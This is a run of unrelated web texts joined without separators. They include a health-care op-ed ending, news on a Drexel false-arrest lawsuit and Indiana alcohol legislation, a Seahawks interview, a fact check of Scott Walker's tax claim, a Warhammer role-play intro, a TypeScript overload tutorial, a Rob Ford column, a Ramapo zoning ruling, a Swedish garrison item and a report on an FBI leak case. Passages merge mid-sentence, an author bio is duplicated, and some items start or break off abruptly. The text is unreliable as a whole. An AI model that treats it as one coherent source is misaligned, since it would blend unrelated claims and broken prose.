This insurance industry report humiliates the chairman of the Finance Committee. It humiliates the president and his healthcare team. It humiliates the American people with an arrogance and contempt and greed that knows no limits and accepts no bounds.
It is time to enact the public option.
The president should fight for the public option. The Congress should pass the public option. The American people should be given the choice of the public option, and not be forced to pay overpriced premiums in the citadel of greed created by those who believe they can buy and sell legislation at will.
[Please crosspost your comments to The Hill, where this blog entry also appears.]
_______
About author Brent Budowsky served as Legislative Assistant to U.S. Senator Lloyd Bentsen, responsible for commerce and intelligence matters, including one of the core drafters of the CIA Identities Law. Served as Legislative Director to Congressman Bill Alexander, then Chief Deputy Whip, House of Representatives. Currently a member of the International Advisory Council of the Intelligence Summit. Left goverment in 1990 for marketing and public affairs business including major corporate entertainment and talent management. He can be reached at Brent Budowsky served as Legislative Assistant to U.S. Senator Lloyd Bentsen, responsible for commerce and intelligence matters, including one of the core drafters of the CIA Identities Law. Served as Legislative Director to Congressman Bill Alexander, then Chief Deputy Whip, House of Representatives. Currently a member of the International Advisory Council of the Intelligence Summit. Left goverment in 1990 for marketing and public affairs business including major corporate entertainment and talent management. He can be reached at [email protected] Philadelphia man who claimed he was falsely arrested as the result of lies by Drexel University police in an alleged racial profiling incident will get another shot at suing the school.
A state Superior Court panel gave Troy Demby that chance this week by reversing a Philadelphia judge's dismissal of the complaint he filed against the school and its cops over a December 2011 incident on campus that involved his brother.
In an opinion by President Judge Emeritus Kate Ford Elliott, the state judges concluded that Demby had made at least a preliminary case to keep pressing his false arrest, false imprisonment, malicious prosecution and negligence claims.
Demby, who is black, claims his brother Earl and another black man, Walter Johnson, were walking on the Drexel campus when a Drexel police officer began tracking their movements on closed-circuit security cameras. The men tried to open doors to several buildings that were open to the public.
Videos of the incident show the men weren't doing anything illegal, even though university police would later claim they were trying to pry the doors open with screwdrivers, Troy Demby said. Nevertheless, campus police were summoned and one officer rammed Johnson with a cruiser, pinning him against a wall and seriously injuring him, the suit states. Johnson had tried to flee the police.
Earl Demby immediately surrendered and was soon released. He identified himself to school police as Troy, who wasn't at the scene. Troy Demby claims the university officers falsified their reports of the incident, prompting the Philadelphia District Attorney's Office to arrest him on trumped-up charges including attempted burglary. Those counts were dismissed after prosecutors viewed video of the incident, however, Troy Demby contends.
In reviving the lawsuit, Ford Elliott's court concluded that more legal proceedings are warranted to determine if Troy Demby's allegations are valid. If his claims are proven to be true, the behavior of the university police "was beyond the bounds of all decency," she wrote.Buy Photo Beer is shown for sale at a Ricker’s convenience store at 116th Street and Cumberland Road in Fishers. (Photo: Matt Detrich / IndyStar)Buy Photo
The battle over Sunday alcohol sales for carryout is likely to return this year to the Indiana General Assembly.
House Public Policy Chairman Tom Dermody, R-LaPorte, told IndyStar on Wednesday that he has crafted a bill that will be revealed next week. He is waiting on final drafts.
“I do believe there is an opportunity for it to appear,” he said. “The goal is to at least have it heard in committee.”
Dermody’s role in crafting the measure is key because any alcohol-related legislation must make it through his committee before it can move to the full House for a vote.
The contents of the bill are unknown, but Dermody said lawmakers learned a lot from last year’s attempt, when Sunday sales legislation he introduced crashed and burned.
Buy Photo Rep. Tom Dermody speaks Feb. 11 2015, about a bill that would make Sunday alcohol sales legal in Indiana during a session in the House of Representatives. (Photo: Robert Scheer / IndyStar)
That effort, fueled by lobbying from big-box grocery stores such as Kroger and Wal-Mart, brought the state closer than it has ever been to lifting the Prohibition-era ban.
But the powerful liquor store lobby — which fears that Sunday sales would shrink its share of the alcohol market — persuaded Dermody to file an amendment that would have required groceries, pharmacies and convenience stores to sell hard liquor from behind a counter and beer and wine to be located in a single aisle or separate room.
Those requirements suddenly turned the tables. Grocery stores, which have traditionally supported Sunday sales, began lobbying against the bill, which they said would inconvenience customers and require expensive store remodeling.
In the end, Rep. Dermody did not call the measure to a vote, saying that it did not have the votes to pass.
Lobbyists for liquor and grocery stores said this week they couldn’t comment on the legislation because they weren’t yet sure how Dermody’s bill might try to balance their competing interests.
“Last year brought great discussion,” Dermody said, “so we will have to see what happens this year. … No predictions, though.”
Call IndyStar reporter Amy Haneline at (317) 444-6281. Follow her on Twitterand Instagram @amybhaneline, and Facebook.
Call IndyStar reporter Tony Cook at (317) 444-6081. Follow him on Twitter: @indystartony.
CLOSE Liquor stores stopped competitors with amendment. Provided by TheStateouseFile.com
Read or Share this story: http://indy.st/1OOm0UoIn the first segment of a three-part sit down interview with Q13 FOX's Bill Wixey, Seahawks running back Thomas Rawls, who had his promising rookie season cut short by an ankle injury last December, said he plans to "be ready for camp," something Seattle head coach Pete Carroll has said would "hopefully" be the case.
"I’m just taking it day by day," Rawls said of his recovery. "I’m getting better. I’m walking on my own, I’m doing a lot of good things, and my recovery is coming very quickly, so I’m looking forward to being out there very soon.”
Rawls, who signed in Seattle as undrafted rookie free agent and went on to rush for 830 yards and four touchdowns in his first season, is expected to take over the starting tailback job from Marshawn Lynch, who announced his retirement earlier this offseason. Rawls said he feels "no pressure" in replacing the team's longtime No. 1 back.
"I just go out there and work hard and do my job and have an amazing coaching staff and an amazing teammates to encourage me," said Rawls. "And also just my support back home. Just fighting through all types of adversity, I rise up and I rise to the occasion at times like this, so it’s no pressure.”
Rawls added more on what he learned from his one year with the Seahawks' "Beast Mode" ball carrier.
“Just all of his knowledge about the game, on and off the field," Rawls said. "Making good business decisions, working on my lateral movements, trying to create holes on my own as far as running the ball and things of that nature and just learning so much from him. And not just him, but other good guys. Like I said, I play on a team of future Hall of Famers, Pro Bowl guys, just different characteristics of different men and great aspects of their lives and just taking so much from the spectrum.”
Rawls, a native of Flint, Michigan, was also asked about the water crisis currently affecting his hometown, and on how he plans to help.
(On the situation in Flint...) “It’s hard. You’ve got to bathe babies with water bottles. You’ve got grown ups taking showers with water bottles. You can only probably spend 20-30 minutes in the shower in your own house and you’re paying your own water bill, and can’t even take a comfortable shower. It’s tough. People’s hair is falling out, skin is breaking out, different things of that nature. Something that a human shouldn’t have to go through, no human. And it falls back on whoever didn’t handle that at the right time. I just ask for everybody to pray for everybody in Flint and just to gain awareness.”
*(On how he plans to help his hometown...) *"As far as what I’m working on, I just want to do some type of day event where everyone can come out, kids and adults. A good day, a fun day where everyone can come out, interact, and just have a good day of smiles. Everyone’s sending water back home and it’s a kind of negative vibe about the whole water situation, so I just want to enlighten people and bring smiles and brighten up their day, at least for a day. At least they deserve to smile, at least for a day.”Republican presidential candidate Scott Walker, the governor of Wisconsin, speaks during a town hall meeting July 17 in Cedar Rapids. (Photo: AP file photo)
In several appearances across Iowa this month, presidential candidate Scott Walker has called for federal tax reforms that would lower marginal income tax rates while eliminating deductions and other targeted tax breaks.
Such an approach was proven effective, he argues, by the Tax Reform Act of 1986. That was the bipartisan legislation signed into law by Republican President Ronald Reagan that marked the most significant update to federal tax policy in decades.
WE RATE WALKER'S CONTENTION THAT THE 1986 TAX LAW "WORKED" IMPRECISE, because of the near impossibility of attributing shifts in broad economic measures to a single change in policy.
CONTEXT
Walker is essentially arguing for new tax reforms that would roll back marginal tax rates and get rid of the targeted tax breaks and incentives that have accumulated since 1986. Such a reform wouldn't necessarily have an impact on government revenues (the '86 law was designed to be revenue-neutral) but it would simplify the tax code, lower rates for income tax average payers and eliminate special treatment for certain entities or activities.
Here's what Walker said at the Family Leadership Summit in Ames on July 18:
"I think a good start would be to look at what President Reagan did back in 1986. … Back in the '80s it worked under Ronald Reagan. Lowering marginal tax rates, reforming the code worked back then. I think to move forward, we need to look back to something like that."
MORE:
That's a slight variation on his stump speech. Here's what he told a crowd in Davenport on July 17:
"The government could charge higher rates to the few who can afford it, or we can lower the rates, broaden the base and increase the volume of people who participate in the economy. Years ago a plan like that worked pretty well under a guy by the name of President Ronald Reagan."
The fact to be checked, then, is how well the tax reform actually "worked." Did it have a demonstrable, positive effect on Americans' economic well-being?
To back up Walker's claim, his campaign noted a 2012 op-ed published in the Hill newspaper crediting the '86 law with boosting the stock market and lowering unemployment in the two years following its passage, as well as factoids from the conservative Heritage Foundation think tank and National Review magazine noting strong economic growth throughout Reagan's presidency.
ANALYSIS
To evaluate whether the Tax Reform Act of 1986 "worked," as Walker claims, we'll evaluate it based on six factors:
Gross domestic product, which is the most straightforward measure of economic growth available.
Wage growth, unemployment rates and workforce participation, which address Walker's claim that the reform increased participation in the economy.
The Dow Jones Industrial Index, which measures the stock market performance referenced in that op-ed from "The Hill."
Federal government revenue growth.
We'll evaluate each of these in the two- and four-year increments following the enactment of the tax act on Oct. 22, 1986.
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Economic growth: The tax bill became law in late 1986. In 1987, annual gross domestic product grew 3.5 percent and in 1988 it grew 4.2 percent. GDP growth slipped slightly in 1989 to 3.7 percent and then substantially in 1990, to 1.9 percent, as the U.S. economy fell into a recession that lasted into early 1991.
Those growth rates are similar to or lower than rates seen in the years immediately prior to passage of the tax reform: The economy grew by 4.6 percent in 1983, surged by 7.3 percent in 1984, and then increased by 4.2 and 3.5 percent, respectively, in 1985 and 1986.
Given the similarities in growth before and after the law was enacted, it's difficult to evaluate the reform's impact on the GDP.
Average annual GDP growth across Reagan's eight years in office, if you're wondering, was 3.5 percent. Since 1946, average annual growth has been 2.95 percent.
Workforce participation: Walker said that a 1986-style tax reform could "increase the volume of people who participate in the economy." One obvious way to measure that is through workforce participation — that is, the percentage of people ages 16 or older with a job.
But it turns out that figure did not change a whole lot with the enactment of the tax reform. The participation rate was 65.4 percent in October 1986. It was 65.7 percent a year later and 66 percent a year after that. By October 1990, it was 66.4 percent.
The increase seen throughout the period following enactment of the law, moreover, followed an upward trend that began years earlier, after labor participation bottomed out at 63.5 percent amid a recession in late 1981.
Unemployment rates: Another measure of economic participation is the unemployment rate. When the reform act was signed into law in October 1986, the U.S. unemployment rate was 7 percent. It fell steadily over the next two years, hitting 6 percent in October 1987 and 5.4 percent in October 1988. It dropped all the way to 5 percent in March 1989, but then began to rise again, hitting 5.9 percent in October 1990, four years after the bill's enactment.
Prior to the bill's passage, the rate had been stuck in the low 7-percent range for about two years. In general, unemployment rates can vary widely, and move closely with the overall business cycle.
Wage growth: Average earnings rose modestly in the years after the tax bill was enacted, but failed to keep pace with inflation. When adjusted for inflation, real average wages actually declined steadily throughout the 1980s and into 1990s, with no change following passage of the tax act.
In current dollars, average hourly earnings for production and nonsupervisory employees rose from $8.96 in October 1986 to $10.30 four years later. That sounds like an increase, but actually represents an erosion in buying power when adjusted to account for inflation.
An $8.96 hourly wage in 1986 equates to $19.51 per hour in 2015 dollars, but $10.30 in 1990 equates to $18.81 in 2015 dollars.
Stock market: In the two-year period following Reagan's bill signing, the Dow Jones Industrial Average rose 18.86 percent. In the four-year period following the signing, it rose 37.22 percent.
That growth was not a steady, straight line increase, however. Both the two-year and four-year periods were marked by substantial market volatility, including the Oct. 19, 1987, "Black Monday" crash in which the Dow lost 22.6 percent of its value in a single day, and a 15 percent drop over a period of weeks in the summer of 1990.
Federal government revenues: The tax reform was designed to be revenue-neutral, and did not have a major effect on how much money the government brought in. After two years, the changes increased federal revenue as a percentage of GDP by an average of 0.22 percent; after four years, the increase averaged out to just 0.01 percent per year.
An avowed fiscal conservative, Walker has talked about cutting the size of government. The Tax Reform Act of 1986 did very little to increase government tax revenues, but it did not decrease them either.
To sum up: Several, but not all, measures show the American economy improving in the period following enactment of the 1986 tax reform. But those improvements follow a pattern that began with the recovery from the recession of 1981, and were undermined by the onset of recession in the early 1990s.
That makes it difficult to say with confidence exactly what effect the tax reform had on the economy, or how much credit the law deserves. Extending the time frame of the analysis only complicates things further, since tax increases were enacted in 1990 and 1993.
"Something as major as the '86 reform act is obviously going to have some effect on the economy. There is no doubt about that," Iowa State University economist Joydeep Bhattacharya said in an interview. "But the broader ramifications are much harder to say."
Read or Share this story: http://dmreg.co/1MPjgqMPsyker no Psyking
As with every RPG under the sun (that isn't F.A.T.A.L, which really only tends to burst into flame when placed in the light) in Warhammer you've got your magic casters. Except now instead of a disturbing lack of morals, you only have to deal with a disturbing abundance of perils.
To understand the concept of psykers and why they're so horrifying, first you must understand the warp. Now, for the better explanation, see Lexicanum's excellent and well written summery on the warp, for the super short and absurd version, read on.
The warp is a plane that exists parallel to our own, a world of madness and chaos, a festering cess pit of insane gods and their daemons, an endless ocean of energy and missing socks greyknights. Here space is compressed, and as such very ridiculous and fancy floating space cathedrals will puddle jump in and out of the warp to travel from one end of the galaxy to the next in a matter of days, rather than lifetimes. Generally, as a Emperor-fearing Imperial citizen, you understand or deal very little with the warp, by choice as well as by course. However, some individuals are born (or afflicted) with the ability to perceive or channel the warp through their minds to manifest great and terrible powers. This is exactly as awesome as it sounds and also a fantastically terrible idea.
This can manifest in a number of ways. The majority of persons afflicted by this ability will be collected, or hunted down by witch hunters and shipped off to be milled up as Emperor Food as they're too weak or too dangerous to be used properly. This psyker slurry sustains the Emperor in his catatonic state, allowing his latent mental powers to keep doin' their thing (but that's a story for another day.) Alternatively, those with a decent amount of psychic ability are grouped up in choirs and used to relay messages through the galaxy, like some mentally deranged BBS board.
But occasionally, and very rarely, an individual will emerge with enough will and fortitude to channel the raging tides of the warp themselves. These individuals are trained, tortured and sanctioned until their fealty to mankind can be assured, and then allowed to specialize in schools of Divination, Biomancy, Telepathy, Pyromancy or Telekinetic skill. They are then sent off to serve with the Imperial Guard or the Inquisition where they serve under the watchful eye of their superiors. Prone to corruption, insanity and spontaneous combustion, these sanctioned psykers generally exist at the receiving end of the resident Commissar's bolter, who, as always, is generally waiting for any reason to paint the nearest wall.
However, psykers come in all shapes and colors, and Minwu in particular is relatively calm and put-together, though not without... quirks. Guardsmen, a superstitious lot, are generally keen to stay as far away from the braincases are they can, and for good reason, but it seems this regiment has gotten lucky with their resident freak, and between the Tau and insurrectionists, the squad needs all the help they can get.Let's assume some JavaScript library defines a reverse function that can work with both strings and arrays. In either case, it returns a reversed version of the input without mutating the original value:
function reverse(stringOrArray) { return typeof stringOrArray === "string"? stringOrArray.split("").reverse().join("") : stringOrArray.slice().reverse(); }
Please note that this is a naive implementation only used for illustrative purposes. In a proper implementation, we'd have to deal with Unicode code points that are represented using two or more code units. We'd also do some more input validation. An even better idea would be to break up the function into two separate ones.
That said, how would we type the reverse function in TypeScript?
Version #1: Any Type
The simplest approach would be to annotate both the parameter and the return value with the any type, for which any value in JavaScript is valid:
function reverse(stringOrArray: any): any { //... }
Of course, with this approach the TypeScript compiler can't help us out a lot. Because we don't impose any restrictions on the parameter type, the compiler happily accepts parameters for which a runtime error will be thrown:
reverse(true); reverse({}); reverse(Math.random);
We need to be a lot more specific than that to avoid mistakes like these.
Version #2: Union Types
As a next step towards more refined types, we could use union types to specify that the stringOrArray parameter must either be a string or an array of elements of an arbitrary type. The resulting union type is string | any[], which we use as both the parameter and return type:
function reverse( stringOrArray: string | any[] ): string | any[] { //... }
With these type annotations in place, the incorrect invocations from the previous example now result in a type error, while correct invocations are allowed:
reverse(true); // Error! reverse({}); // Error! reverse(Math.random); // Error! const elpmaxe: string | any[] = reverse("example"); const numbers: string | any[] = reverse([1, 2, 3, 4, 5]);
Unfortunately, we've lost some type information. The type of the numbers constant doesn't reflect that we passed an argument of type number[] to the reverse function. It would be more useful if the second constituent type of the union type was number[], not any[].
Version #3: Union Types + Generics
A slightly better way to type the reverse function would be to use generic types. Instead of typing the array elements as any, we can generically type them as T. That way, the stringOrArray parameter is either of type string or of type T[]. The same goes for the return value:
function reverse<T>( stringOrArray: string | T[] ): string | T[] { //... }
Now, the type information is preserved:
const elpmaxe: string | string[] = reverse("example"); const numbers: string | number[] = reverse([1, 2, 3, 4, 5]);
Frankly, the function type is still suboptimal. Because of the return value's union type, we can't access array prototype methods such as map, even though we know that we'll get back an array when we pass in an array. The type system, on the other hand, doesn't have that knowledge because we still haven't accurately modeled the possible parameter and return type combinations.
According to its signature, the reverse function accepts a string or an array and then returns either a string or an array. Put differently, the function has the following four combinations of parameter and return types:
(stringOrArray: string) => string
(stringOrArray: string) => T[]
(stringOrArray: T[]) => string
(stringOrArray: T[]) => T[]
However, that's not how the reverse function behaves. Only the following two combinations will ever occur at runtime, given the function implementation:
(stringOrArray: string) => string
(stringOrArray: T[]) => T[]
Let's see how we can reflect that knowledge in the type system.
Version #4: Function Overloads
In other programming languages, we could overload the reverse function by writing two functions with the same name, but different types:
function reverse(string: string): string { return string.split("").reverse().join(""); } function reverse<T>(array: T[]): T[] { return array.slice().reverse(); }
That's not valid TypeScript, though, because we can't have two functions with the same name in the same scope. Think about this: How would the above code be transpiled to JavaScript? We'd end up with two reverse functions that couldn't be distinguished by name.
Instead, TypeScript lets us specify an overload list to supply multiple types for the same function. That way, we can describe to the type system exactly what our function accepts and what it returns:
function reverse(string: string): string; function reverse<T>(array: T[]): T[]; function reverse<T>( stringOrArray: string | T[] ): string | T[] { return typeof stringOrArray === "string"? stringOrArray.split("").reverse().join("") : stringOrArray.slice().reverse(); }
The first two lines of the above example list the valid overloads of the reverse function. They represent the "external" signatures of the function, if you will. On the third line, we specify the generic "internal" signature, which must be compatible with all specified overloads. Here's how these overloads show up in an IDE (Visual Studio, in this case):Contrary to popular perception, mayoral contender Rob Ford often gets his numbers right. The problem is that he doesn’t tell voters the whole story. Take the eye-popping 21,000 free Metropasses he cites as proof taxpayers’ dollars are being wasted. Ford says the Transit Commission doles them out to the mayor, city councillors, municipal employees and other favoured individuals.
TTC Metropass. ( Colin McConnell / Toronto Star )
He is right. There really are that many — 21,882 to be precise. But axing these “perks” won’t save the city millions of dollars, as he claims. Here is why: • More than half of the passes — 13,000 — are provided to TTC workers so they can do their jobs. Cleaners use them to move from station to station. Repair crews use them to get to trouble spots. Bus drivers use them to get back from the suburbs at the end of their shift.
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Eliminate these Metropasses and the TTC would have to compensate its employees for paying out of their own pockets to perform their duties. • Another 4,700 passes go to TTC pensioners with at least 10 years service. Depriving retirees of this benefit would violate the arbitrated settlement imposed on the transit authority and the Amalgamated Transit Union last year. • The next largest chunk — 3,700 — goes to the Canadian National Institute for the Blind (CNIB) to provide to its clients. Most Torontonians wouldn’t consider these “perks.” • A significant number — 400 — are temporarily issued to contractors working for the TTC: engineers, draftsmen, construction workers, elevator installers and the like. Without passes, they’d have to pay the normal fare, then file expense claims. • A small number of free passes — 45 — go to the mayor and city council. They’re considered a taxable benefit.
• Eighteen Metropasses are provided to war amputees. • Another 18 go to the members of the city’s advisory committee on accessible transit, a group of individuals with various disabilities that identifies barriers in the system and gaps in the TTC’s services.
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• And one goes to a board member of Metrolinx, the regional transit authority. All told, these Metropasses are worth $31.8 million. But anyone who believes Ford could recoup that amount — or close to it — is in for a disappointment. He might be able to force the TTC to stop providing passes to its employees, but the commission would still have to cover their work-related expenses. He could compel the transit authority to break faith with pensioners, but that would trigger a host of grievances, resulting in slow and unreliable service. He could cancel his own and his fellow politicians’ Metropasses if he had sufficient support on city council. But that would yield just $65,000. And if he were callous enough, he could abrogate TTC’s long-standing arrangements with the CNIB and the War Amps. There may well be too many free transit passes in circulation. But scrapping them won’t be easy or cheap. Most of Ford’s retrenchment plans fade under scrutiny. Chopping city council from 44 to 22 members would save $15 million a year on paper. In reality, those gains wouldn’t come in Ford’s four-year mayoral term. Assuming he could persuade 22 councillors to axe their jobs and win provincial approval, the payback would come after the 2014 municipal election. Eliminating councillors’ freebies — zoo passes, Exhibition passes, golfing passes and parking passes — might feel good. But it wouldn’t put much cash in city coffers. Ford’s proposals to cut the municipal payroll through attrition and trim operating costs are too vague to judge. He is right that Toronto is living beyond its means. He is right that some city officials have an infuriating sense of entitlement. And he is right that voters are fed up. But he doesn’t appear to have a workable solution. Carol Goar's column appears Monday, Wednesday and Friday.State Supreme Court Justice Walsh issued an order to suspend the Ramapo Planning Board's approvals for the Patrick Farm development.
Attorney Daniel Richmond and ROSA Director Suzanne Mitchell outside the Hillcrest Firehouse, celebrating a judge's decision about Ramapo's Patrick Farm. (Photo: Contributed photo) Story Highlights Judge Walsh suspends Ramapo Planning Board's approvals for Patrick Farm development.
Opponents celebrate the order as a vindication of their environmental concerns.
A judge's order has suspended town approvals for the controversial plan to build nearly 500 houses on Patrick Farm because the U.S. Army Corps of Engineers had not reviewed wetlands at the site.
State Supreme Court Justice Thomas Walsh's decision this week sent the plans back to the Planning Board for consideration before the project can proceed on 206 acres along the Route 202-306 corridor just outside of Pomona village.
The Planning Board's March 22, 2013, approvals were opposed in court by neighbors of the site as well as members of the grassroots environmental group Ramapo Organized for Sustainability and a Safe Aquifer.
Walsh this week denied one of the Article 78 proceedings but decided on the other two by issuing an order to suspend the Planning Board's approvals.
CLOSE Suzanne Mitchell, director of ROSA (Ramapo Organized for Sustainability and a Safe Aquifer) and ROSA's attorney Daniel Richmond announced a judge's recent decision to suspend approvals for the Patrick Farm development. (submitted video)
He wrote the state Department of Environmental Conservation and Rockland County Sewer District No. 1 would not issue necessary permits for the project in the absence of a review from the Army Corps.
Suzanne Mitchell, director of ROSA, celebrated Walsh's decision.
"We believe this official judicial decision will help the Town of Ramapo Planning Board understand more clearly what ROSA has been arguing throughout this approval process when ROSA presented independent wetland expert testimony explaining that the developer was vastly under reporting the size and scope of the wetlands," Mitchell wrote in an email.
Terry Rice, an attorney representing the developer, Scenic Development of Monsey, couldn't be reached for comment Thursday.
Ramapo Town Attorney Michael Klein, wrote in an email that the Planning Board's actions have been affirmed by the prior court decisions dismissing the opponents' other complaints.
He noted that Walsh, in his decision, "acknowledged that the Planning Board correctly approved the applications before it based on information available at that time."
"However, the Planning Board has been directed by the court to consider further review in light of recent correspondence from the state DEC and Rockland County Sewer District regarding wetlands," Klein wrote.
Read or Share this story: http://lohud.us/1gUDEvEFelmeddelande User error: Failed to connect to memcache server: localhost:11211 in dmemcache_object() (line 415 of /srv/gamla-sites/docroot/sites/all/modules/memcache/dmemcache.inc).
Dragsvik tryggat Dragsvik fanns inte med på den lista över garnisonsnedläggningar som försvaret presenterade i dag. FNB Publicerad:
7.2.2012 20.40 Uppdaterad:
8.2.2012 10.59 Twittra Mindre A Större De planerade besparingarna är precis lika omfattande som väntat. Norra Karelens brigad, Kustbataljonen i Kotka och Flygvapnets tekniska skola läggs ned under slutet av 2013. Pionjärregementet i Keuru, Luftkrigsskolan i Kauhava och Tavastlands Regemente läggs ned under 2014. Utöver det kommer en rad sammanslagningar att genomföras med start under slutet av 2014. President Tarja Halonen och statsrådets utrikes- och säkerhetspolitiska ministerutskott behandlar under morgonen en rapport som gjorts av en arbetsgrupp ledd av riksdagsledamoten Ilkka Kanerva (Saml). På förhand har det spekulerats att sparkraven inom Försvarsmakten leder till att sex eller sju garnisoner läggs ner. Det är meningen att Försvarsmakten ska skära ner på utgifterna med omkring 10 procent per år under fyra års tid. Här kan du följa med en direk |
shown that immigrants, including the estimated 11 million living here illegally, have lower crime rates than the native-born population.
On the campaign trail, Trump said he would seek to quickly deport between 2 million and 3 million immigrants with criminal records. But a study by the Migration Policy Institute found that 820,000 unauthorized immigrants had committed other crimes, including about 300,000 with felony records.
“I want you to know –- we will never stop fighting for justice,” Trump said, addressing his guests. “Your loved ones will never be forgotten, we will always honor their memory.”On November 3, Ohio voters rejected a flawed plan to legalize marijuana, even though most Ohioans are in favor of legalization. The measure would have amended the state constitution to legalize the sale of cannabis, but only through a state-sanctioned drug cartel of ten licensed dealers.
But there are other encouraging signs that the War on Drugs is losing steam.
On November 4, Canada's newly elected Prime Minister Justin Trudeau was sworn into office. Trudeau and the Liberal Party promise to legalize marijuana in Canada, which would make it only the second country to formally legalize the sale and consumption of cannabis. (Uruguay became the first, in 2013 — contrary to popular belief, pot is not technically legal in the Netherlands, but it is tolerated).
On November 3, the Irish government announced decriminalization of not just marijuana but also heroin and cocaine. The chief of Ireland’s National Drugs Strategy told the papers there was a "strong consensus that drugs across the board should be decriminalised."
Decriminalization is a far cry from legalization — it's still a crime to make, sell, or "profit from" drugs — but users and addicts would no longer be locked up for their personal consumption. The results from Portugal's decriminalization of all drugs in 2001 have been extremely extraordinary: deaths, addiction, and HIV infections from drugs have all dropped precipitously.
Perhaps the most heartening news comes from Mexico, where the drug war has raged for decades. On November 5, the criminal chamber of the Mexican Supreme Court ruled that the country's ban on marijuana was unconstitutional and found that individuals have a right to grow, possess, and use marijuana.
The decision was sweeping and driven by human rights considerations, as well as factual analysis of the harms of marijuana in particular. Jacob Sullum writes,
According to the official summary of the decision, the court's criminal division concluded that the right to "free development of the personality" includes the freedom to engage in recreational activities, subject to restrictions "necessary to protect health and public order."
In the court's view, the damage caused by consumption and noncommercial production of marijuana is not "of such gravity as to warrant an absolute ban."
Currently, this ruling by the criminal chamber (a sort of sub-panel of the Supreme Court) only applies to the individuals who brought the lawsuit challenging the ban. According to the New York Times, for the ruling to strike down the law entirely, the criminal chamber "will have to rule the same way five times, or eight of the 11 members of the full court will have to vote in favor."
The ruling suggests that growing and consuming for personal use would be allowed, but not necessarily sale or distribution. Nonetheless, the willingness to challenge the longstanding orthodoxy about the state's power to infringe on personal choices is an encouraging sign that Mexico may soon at least decriminalize cannabis. By one estimate, 60% of people convicted of drug crimes in Mexico are imprisoned for marijuana-related crimes.
So while Ohio may have rejected a flawed legalization initiative, the rest of this week racked up a flurry of victories in the fight to end the global drug war.A former FBI bomb technician who later worked as a contractor for the bureau has agreed to plead guilty to disclosing national defense information to the Associated Press about a disrupted terrorist plot to bring down a civilian airliner headed for the United States, the Justice Department said Monday.
Officials described the disclosure as one of the most serious national security leaks in history, saying it came in the middle of a sensitive intelligence operation. The case led to the Justice Department’s controversial decision to secretly subpoena two months’ worth of phone records from the Associated Press.
Donald John Sachtleben, 55, of Carmel, Ind., provided information to an AP reporter about the disruption of the plot by the Yemen-based terrorist organization al-Qaeda in the Arabian Peninsula. Sachtleben also told the news agency that the United States had recovered a bomb during the investigation of the April 2012 plot and that it was being examined at an FBI lab in Quantico where he sometimes worked, according to Justice Department officials and court documents filed Monday in the U.S. District Court for the Southern District of Indiana.
Administration officials and others later described the device as extremely difficult to detect and said it was built by the Yemeni group’s master bombmaker, Ibrahim Hassan al-Asiri.
“This unauthorized and unjustifiable disclosure severely jeopardized national security and put lives at risk,” Deputy Attorney General James M. Cole said. “To keep the country safe, the department must enforce the law against such critical and dangerous leaks, while respecting the important role of the press under the department’s media guidelines and any shield law enacted by Congress.”
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Sachtleben apologized for his actions in a statement released by his attorney, Larry A. Mackey.
“I am deeply sorry for my actions,” Sachtleben said. “While I never intended harm to the United States or to any individuals, I do not make excuses for myself. I understand and accept that today’s filings start the process of paying the full consequences of my misconduct, and I know that the justice system I once served so proudly will have its say.”
Last year, in an unrelated investigation, Sachtleben agreed to plead guilty to charges of possessing and distributing child pornography.
The plea agreements call for Sachtleben to be sentenced to a total of 140 months in prison, including a 43-month term for the national security offenses and a consecutive 97-month term for the child pornography charges, which were filed in May 2012.
In a broad federal investigation, Justice officials secretly obtained records from more than 20 cellular, office and home telephone lines assigned to the Associated Press and its journalists as part of a year-long investigation into the disclosure.
A spokesman for the Associated Press declined to comment on the charges against Sachtleben.
“We never comment on our sources,” said Paul Colford, director of media relations for the organization.
The original story infuriated the Obama administration, and some Republicans in Congress accused the president of leaking information about the foiled plot to help his reelection campaign. In June 2012, Attorney General Eric H. Holder Jr. appointed the U.S. attorney for the District of Columbia, Ronald C. Machen Jr.,to investigate the possible leak of classified information.
“Fifteen months ago, we were given the task of uncovering who had threatened a sensitive intelligence operation and endangered lives by illegally disclosing classified information relating to a disrupted al-Qaeda suicide bomb plot,” Machen said Monday. “After unprecedented investigative efforts by prosecutors and FBI agents and analysts, today Donald Sachtleben has been charged with this egregious betrayal of our national security.”
Valerie Parlave, the assistant director in charge of the FBI’s Washington Field Office, said investigators conducted more than 500 interviews and analyzed telephone records obtained under subpoenas.
In May, AP President Gary B. Pruitt revealed that as part of its leak investigation, the Justice Department had secretly obtained two months’ worth of the telephone records of journalists working in Washington, New York and Hartford, Conn.
The uproar over the aggressive investigation — and over an unrelated case in which Fox News reporter James Rosen was called a possible “co-conspirator” in a crime in order to obtain a search warrant for his records — led Holder to convene a series of private meetings with journalists.
Press advocates have said the Justice Department’s forceful pursuit of leak investigations infringes on press freedom. In July, Holder announced tighter controls on prosecutors’ ability to subpoena the phone and other records of journalists.
Sachtleben worked for the FBI from 1983 through 2008. As a special agent bomb technician, he was assigned to many major terrorism cases, including the Oklahoma City bombing, the 1993 World Trade Center bombing, the Unabomber attacks, the U.S. Embassy bombings in East Africa, the USS Cole bombing and the attacks of Sept. 11, 2001.
In 2008, Sachtleben retired from the bureau and was rehired as a contractor. He maintained his top-secret security clearance, had regular access to classified and national defense information, and routinely visited the FBI lab in Quantico, according to court papers.
Shortly before the leak on May 2, 2012, to the Associated Press, Sachtleben became the focus of a child pornography investigation. On May 11, 2012, as part of that investigation, the FBI executed a search warrant and seized his laptop computer. It held about 30 images and video files containing child pornography, according to court documents.
Sachtleben had developed a “source-reporter relationship” with the AP reporter since 2009, when he was a contractor with the FBI’s National Improvised Explosive Familiarization training program, according to court documents signed by Justice officials and Sachtleben and his attorney.
He was identified as a suspect in the leak case after the toll records for the reporter’s phone numbers were obtained through a subpoena and compared with other evidence collected during the investigation.
That allowed investigators to obtain a warrant authorizing a more exhaustive search of Sachtleben’s cellphone, computer and other electronic equipment, which were already in the possession of federal agents because of the child pornography investigation, according to Justice Department officials. With that warrant, agents were able to obtain cellphone text messages between the reporter and Sachtleben.
Julie Tate contributed to this report.Homosexuality as a Political Identity Tuesday 14 March 2017.
Homosexuality as a: Political Identity
